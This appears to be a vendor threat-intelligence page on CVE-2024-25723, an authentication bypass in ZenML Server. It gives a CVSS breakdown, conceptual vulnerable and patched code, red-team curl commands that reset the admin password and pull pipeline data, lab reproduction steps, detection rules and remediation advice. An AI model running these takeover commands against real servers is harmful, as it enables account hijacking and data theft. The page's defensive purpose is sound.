CVE-2024-25723
Executive Summary
CVE-2024-25723 is a critical improper authentication vulnerability in the ZenML Server, part of the ZenML machine learning package for Python. The flaw resides in the /api/v1/users/{user_name_or_id}/activate REST API endpoint, which allows remote privilege escalation by simply providing a valid username and a new password in the request body. This bypasses proper authentication checks, enabling an attacker to take over any user account, including administrative accounts. The vulnerability affects all versions before 0.46.7, with specific patched versions being 0.44.4, 0.43.1, and 0.42.2. The EPSS score is 0.86837 (99.4th percentile), indicating a high probability of exploitation in the wild. No public exploit code is available, but a Nuclei template exists for detection.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the PyPI package zenml. Organizations using ZenML in their MLOps pipelines should immediately audit their dependency versions. The package is widely used for machine learning workflow orchestration, and a compromise could lead to data exfiltration, model poisoning, or lateral movement within cloud environments. Ensure that the package is pinned to a patched version in requirements.txt or pyproject.toml.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) - Exploitable remotely.
- Attack Complexity (AC): Low (L) - No special conditions required.
- Privileges Required (PR): None (N) - No authentication needed to trigger the vulnerability.
- User Interaction (UI): None (N) - No user action required.
- Scope (S): Unchanged (U) - The vulnerable component and the impacted component are the same.
- Confidentiality (C): High (H) - Full access to all user data and secrets.
- Integrity (I): High (H) - Ability to modify user accounts, pipelines, and configurations.
- Availability (A): High (H) - Potential to disrupt or destroy ZenML services.
CVSS Score: 9.8 (Critical)
Deep Dive & Mechanics
The vulnerability is a classic case of improper authentication (CWE-287). The /api/v1/users/{user_name_or_id}/activate endpoint is designed to allow user activation, but it fails to verify that the requester is authorized to activate the specified user. The endpoint accepts a username (or user ID) and a new_password in the request body. An attacker can enumerate valid usernames (e.g., admin, default, or via error messages) and then send a POST request to this endpoint with a new password, effectively taking over the account.
The root cause is that the server does not require the current password or any session token to perform this action. The activation endpoint should be restricted to either the user themselves (with proper authentication) or an administrator. The fix involves adding authentication checks to ensure that only authorized users can activate or reset passwords for other accounts.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
# Vulnerable endpoint - no authentication check
@app.route('/api/v1/users/<user_name_or_id>/activate', methods=['POST'])
def activate_user(user_name_or_id):
data = request.get_json()
new_password = data.get('new_password')
user = User.query.filter_by(username=user_name_or_id).first()
if user:
user.set_password(new_password)
db.session.commit()
return jsonify({"message": "User activated"}), 200
return jsonify({"error": "User not found"}), 404
Patched Code (Conceptual):
# Patched endpoint - requires authentication
@app.route('/api/v1/users/<user_name_or_id>/activate', methods=['POST'])
@login_required # Ensures user is authenticated
def activate_user(user_name_or_id):
current_user = get_current_user()
data = request.get_json()
new_password = data.get('new_password')
user = User.query.filter_by(username=user_name_or_id).first()
if user and (current_user.is_admin or current_user.id == user.id):
user.set_password(new_password)
db.session.commit()
return jsonify({"message": "User activated"}), 200
return jsonify({"error": "Unauthorized"}), 403
Exploitation & Lab Setup
Red Team
Prerequisites:
- A target ZenML server (version < 0.46.7).
- A valid username (e.g.,
admin). This can be discovered via the/api/v1/infoendpoint or by brute-forcing common usernames.
Exploitation Steps:
Discover a valid username:
curl -s http://target:8080/api/v1/info | jq '.deployment_type'If the server responds, it is likely running ZenML.
Enumerate users (if possible):
curl -s http://target:8080/api/v1/users | jq '.'Note: This may require authentication in newer versions, but in vulnerable versions, it might be open.
Take over the admin account:
curl -X POST http://target:8080/api/v1/users/admin/activate \ -H "Content-Type: application/json" \ -d '{"new_password": "Pwned123!"}'Authenticate with the new password:
curl -X POST http://target:8080/api/v1/login \ -H "Content-Type: application/json" \ -d '{"username": "admin", "password": "Pwned123!"}'Extract sensitive data:
curl -H "Authorization: Bearer <token>" http://target:8080/api/v1/pipelines
No public Exploit-DB code is available for this CVE.
Blue Team
Detection:
- Monitor for POST requests to
/api/v1/users/*/activatewithout a preceding authentication event. - Alert on multiple failed login attempts followed by a successful login from a different IP.
- Use the provided Nuclei template to scan for vulnerable versions.
Honeypot:
- Deploy a fake ZenML endpoint that logs all requests to
/api/v1/users/*/activateand alerts on any POST requests.
Lab Setup:
- Deploy a vulnerable ZenML server:
docker run -d -p 8080:8080 --name zenml-vuln zenmlio/zenml-server:0.46.6 - Simulate exploitation:
curl -X POST http://localhost:8080/api/v1/users/admin/activate \ -H "Content-Type: application/json" \ -d '{"new_password": "test123"}' - Verify the takeover:
curl -X POST http://localhost:8080/api/v1/login \ -H "Content-Type: application/json" \ -d '{"username": "admin", "password": "test123"}'
Indicators of Compromise (IOCs)
- Network IOCs:
- POST requests to
/api/v1/users/*/activatewith a JSON body containingnew_password. - Unusual login patterns from IPs that previously triggered activation requests.
- POST requests to
- File IOCs:
- Modified user database entries (e.g., password hashes changed).
- New SSH keys or API tokens in user profiles.
- Log IOCs:
- ZenML server logs showing
User activatedfor accounts that were already active. - Authentication logs showing successful logins immediately after activation requests.
- ZenML server logs showing
Detection Engineering
YARA Rule
rule CVE_2024_25723_ZenML_Activation {
meta:
description = "Detects exploitation attempts of CVE-2024-25723 in ZenML"
author = "Valters IT"
date = "2024-01-01"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-25723"
strings:
$s1 = "/api/v1/users/" ascii wide nocase
$s2 = "/activate" ascii wide nocase
$s3 = "new_password" ascii wide nocase
condition:
all of them
}
Sigma Rule
title: CVE-2024-25723 ZenML User Activation Exploitation
id: 8a4b0c1d-2e3f-4a5b-6c7d-8e9f0a1b2c3d
status: experimental
description: Detects POST requests to the ZenML user activation endpoint without prior authentication.
author: Valters IT
date: 2024/01/01
references:
- https://nvd.nist.gov/vuln/detail/CVE-2024-25723
logsource:
category: webserver
product: zeek
detection:
selection:
http.method: "POST"
http.uri|contains: "/api/v1/users/"
http.uri|endswith: "/activate"
http.request_body|contains: "new_password"
condition: selection
falsepositives:
- Legitimate user activation by an administrator (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-25723 ZenML User Activation Exploitation"; flow:to_server; content:"POST"; http_method; content:"/api/v1/users/"; http_uri; content:"/activate"; http_uri; content:"new_password"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)
Nuclei Template
id: CVE-2024-25723
info:
name: ZenML ZenML Server - Improper Authentication
author: David Botelho Mariano
severity: critical
description: |
ZenML Server in the ZenML machine learning package before 0.46.7 for Python allows remote privilege escalation because the /api/v1/users/{user_name_or_id}/activate REST API endpoint allows access on the basis of a valid username along with a new password in the request body.
impact: |
Successful exploitation could lead to unauthorized access to sensitive data.
remediation: |
Implement proper authentication mechanisms and ensure access controls are correctly configured.
reference:
- https://www.zenml.io/blog/critical-security-update-for-zenml-users
- https://github.com/zenml-io/zenml
- https://github.com/zenml-io/zenml/compare/0.42.1...0.42.2
- https://github.com/zenml-io/zenml/compare/0.43.0...0.43.1
- https://github.com/zenml-io/zenml/compare/0.44.3...0.44.4
classification:
epss-score: 0.86837
epss-percentile: 0.99433
metadata:
verified: true
max-request: 1
shodan-query: http.favicon.hash:-2028554187
fofa-query: body="ZenML"
tags: cve,cve2024,passive,auth-bypass,zenml,vuln
http:
- method: GET
path:
- "{{BaseURL}}/api/v1/info"
matchers:
- type: dsl
dsl:
- "compare_versions(version, '< 0.46.7')"
- "!contains_any(version, '0.44.4', '0.43.1', '0.42.2')"
- "contains_all(body, 'deployment_type', 'database_type')"
condition: and
extractors:
- type: regex
part: body
group: 1
name: version
regex:
- '"version":"(.*?)"'
internal: true
# digest: 4a0a004730450221008ddc1bb2ba3a32a238aab9ecda548dc6d3b9f87ae11bd7780442cbf245efda0002205bb61b4a845b246bf5e1cef0af5377bd3d4bf58146002c6e5b8e4b4eef275c54:922c64590222798bb761d5b6d8e72950
Remediation & Mitigation
Immediate Actions:
- Upgrade ZenML: Update to version 0.46.7, 0.44.4, 0.43.1, or 0.42.2 immediately.
pip install --upgrade zenml==0.46.7 - Restrict Network Access: If immediate patching is not possible, restrict access to the ZenML API to trusted IPs using a firewall or reverse proxy.
- Audit User Accounts: Check for any unauthorized user activations or password changes in logs.
Long-term Mitigations:
- Implement a Web Application Firewall (WAF) rule to block POST requests to
/api/v1/users/*/activateunless from admin IPs. - Enable multi-factor authentication (MFA) for all ZenML users.
- Regularly audit dependencies and subscribe to security advisories for ZenML.
Valters IT Signature:
Valters IT Cyber Threat Intelligence
Classification: TLP:AMBER
Report ID: VIT-2024-25723
Analyst: Senior DevSecOps Engineer
Date: 2024-01-01
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.